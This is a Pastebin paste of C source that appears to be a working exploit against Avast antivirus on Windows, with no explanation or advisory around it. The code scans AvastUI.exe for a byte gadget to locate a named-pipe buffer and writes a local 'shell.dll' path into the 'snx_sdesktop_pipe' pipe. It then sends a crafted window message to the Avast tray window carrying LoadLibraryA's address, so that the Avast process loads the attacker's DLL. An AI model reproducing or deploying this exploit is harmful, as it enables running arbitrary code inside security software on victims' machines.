Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. #define UNICODE
  2. #define _UNICODE
  3.  
  4. #include <windows.h>
  5. #include <tchar.h>
  6. #include <winternl.h>
  7. #include <strsafe.h>
  8.  
  9. #pragma comment( lib, "user32" )
  10.  
  11. PBYTE memmem( PBYTE haystack, SIZE_T hlen, PBYTE needle, SIZE_T nlen )
  12. {
  13.     BYTE needle_first;
  14.     PBYTE p = haystack;
  15.     SIZE_T plen = hlen;
  16.  
  17.     if ( !nlen )
  18.         return NULL;
  19.  
  20.     needle_first = *needle;
  21.  
  22.     while ( plen >= nlen && ( p = memchr( p, needle_first, plen - nlen + 1 ) ) )
  23.     {
  24.         if ( !memcmp( p, needle, nlen ) )
  25.             return p;
  26.  
  27.         p++;
  28.         plen = hlen - ( p - haystack );
  29.     }
  30.  
  31.     return NULL;
  32. }
  33.  
  34. BOOL GetSectionInfo( PBYTE pModule, PBYTE szSectionName, PBYTE *ppSection, PDWORD pdwSectionSize )
  35. {
  36.     PIMAGE_DOS_HEADER pDOSHeader;
  37.     PIMAGE_NT_HEADERS pNTHeaders;
  38.     PIMAGE_OPTIONAL_HEADER pOptionalHeader;
  39.     PIMAGE_SECTION_HEADER pSectionHeader;
  40.     UINT i;
  41.  
  42.     *ppSection = NULL;
  43.     *pdwSectionSize = 0;
  44.  
  45.     pDOSHeader = ( PIMAGE_DOS_HEADER )pModule;
  46.     if ( IMAGE_DOS_SIGNATURE != pDOSHeader->e_magic )
  47.         return FALSE;
  48.     pNTHeaders = ( PIMAGE_NT_HEADERS )( pModule + pDOSHeader->e_lfanew );
  49.     if ( IMAGE_NT_SIGNATURE != pNTHeaders->Signature )
  50.         return FALSE;
  51.     pOptionalHeader = ( PIMAGE_OPTIONAL_HEADER )( &pNTHeaders->OptionalHeader );
  52.     if ( IMAGE_NT_OPTIONAL_HDR_MAGIC != pOptionalHeader->Magic )
  53.         return FALSE;
  54.     pSectionHeader = ( PIMAGE_SECTION_HEADER )( ( PBYTE )pOptionalHeader + pNTHeaders->FileHeader.SizeOfOptionalHeader );
  55.     for ( i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++, pSectionHeader++ )
  56.     {
  57.         if ( strcmp( pSectionHeader->Name, szSectionName ) == 0 )
  58.         {
  59.             DWORD dwSize = pSectionHeader->Misc.VirtualSize;
  60.  
  61.             if ( dwSize % pOptionalHeader->SectionAlignment != 0 )
  62.                 dwSize += pOptionalHeader->SectionAlignment - ( dwSize % pOptionalHeader->SectionAlignment );
  63.             *ppSection = pModule + pSectionHeader->VirtualAddress;
  64.             *pdwSectionSize = dwSize;
  65.             _tprintf( _T( "[?] %S: 0x%08Ix 0x%08x\n" ), pSectionHeader->Name, *ppSection, *pdwSectionSize );
  66.  
  67.             return TRUE;
  68.         }
  69.     }
  70.  
  71.     return FALSE;
  72. }
  73.  
  74. static BYTE g_pbGadget[] = { 0x05, 0xff, 0xff, 0x55, 0x58 }; //add eax,-0A7AA0001h
  75.  
  76. int _tmain( int argc, TCHAR *argv[] )
  77. {
  78.     HMODULE hAvastUI;
  79.     INT i;
  80.     PBYTE pSection;
  81.     DWORD dwSectionSize;
  82.     DWORD_PTR dwpGadget;
  83.     PBYTE pbNamedPipeStructure;
  84.     HANDLE hPipe, hWnd;
  85.     BYTE szDll[0x2c] = { 0 };
  86.     DWORD dwBytesWritten;
  87.     FARPROC pLoadLibraryA;
  88.  
  89.     if ( 0 == GetCurrentDirectoryA( sizeof( szDll ), szDll ) )
  90.     {
  91.         _tprintf( _T( "[-] GetCurrentDirectoryA() failed (0x%08x)\n" ),
  92.                   GetLastError() );
  93.         return 0;
  94.     }
  95.     if ( FAILED( StringCchCatA( szDll, sizeof( szDll ), "\\shell.dll" ) ) )
  96.     {
  97.         _tprintf( _T( "[-] StringCchCatA() failed\n" ) );
  98.         return 0;
  99.     }
  100.     hAvastUI = LoadLibraryEx( _T( "C:\\Program Files\\AVAST Software\\Avast\\AvastUI.exe" ),
  101.                              0,
  102.                              DONT_RESOLVE_DLL_REFERENCES );
  103.     _tprintf( _T( "[?] hAvastUI = 0x%08Ix\n" ), hAvastUI );
  104.     if ( FALSE == GetSectionInfo( ( PBYTE )hAvastUI, ".text", &pSection, &dwSectionSize ) )
  105.     {
  106.         _tprintf( _T( "[-] AvastUI.exe '.text' section not found\n" ) );
  107.         return 0;
  108.     }
  109.     dwpGadget = ( DWORD_PTR )memmem( pSection, dwSectionSize, g_pbGadget, sizeof( g_pbGadget ) );
  110.     dwpGadget -= 4;
  111.     pbNamedPipeStructure = *( PBYTE * )( dwpGadget );
  112.     _tprintf( _T( "[?] pbNamedPipeStructure = 0x%08Ix\n" ), pbNamedPipeStructure );
  113.  
  114.     hWnd = FindWindow( _T( "asw_av_tray_icon_wndclass" ), 0 );
  115.     if ( NULL == hWnd )
  116.     {
  117.         _tprintf( _T( "[-] FindWindow() failed (0x%08x)\n" ),
  118.                   GetLastError() );
  119.         return 0;
  120.     }
  121.  
  122.     for ( i = 0; i < 10; i++ )
  123.     {
  124.         WaitNamedPipe( _T( "\\\\.\\pipe\\snx_sdesktop_pipe" ),
  125.                        0xffffffff );
  126.         hPipe = CreateFile( _T( "\\\\.\\pipe\\snx_sdesktop_pipe" ),
  127.                             GENERIC_WRITE,
  128.                             0,
  129.                             NULL,
  130.                             OPEN_EXISTING,
  131.                             0,
  132.                             NULL );
  133.         if ( INVALID_HANDLE_VALUE == hPipe )
  134.         {
  135.             _tprintf( _T( "[-] CreateFile() failed (0x%08x)\n" ),
  136.                       GetLastError() );
  137.             return 0;
  138.         }
  139.         _tprintf( _T( "[?] Pipe successfully opened (%d)\n" ),
  140.                   i );
  141.         if ( FALSE == WriteFile( hPipe,
  142.                                  szDll,
  143.                                  sizeof( szDll ),
  144.                                  &dwBytesWritten,
  145.                                  NULL ) || sizeof( szDll ) != dwBytesWritten )
  146.         {
  147.             _tprintf( _T( "[-] WriteFile() failed (0x%08x)\n" ),
  148.                       GetLastError() );
  149.             return 0;
  150.         }
  151.         CloseHandle( hPipe );
  152.     }
  153.  
  154.     pLoadLibraryA = GetProcAddress( GetModuleHandle( _T( "kernel32.dll" ) ),
  155.                                     "LoadLibraryA" );
  156.     SendMessage( hWnd,
  157.                  0x83fd,
  158.                  ( WPARAM )pLoadLibraryA,
  159.                  ( LPARAM )pbNamedPipeStructure );
  160.  
  161.     return 0;
  162. }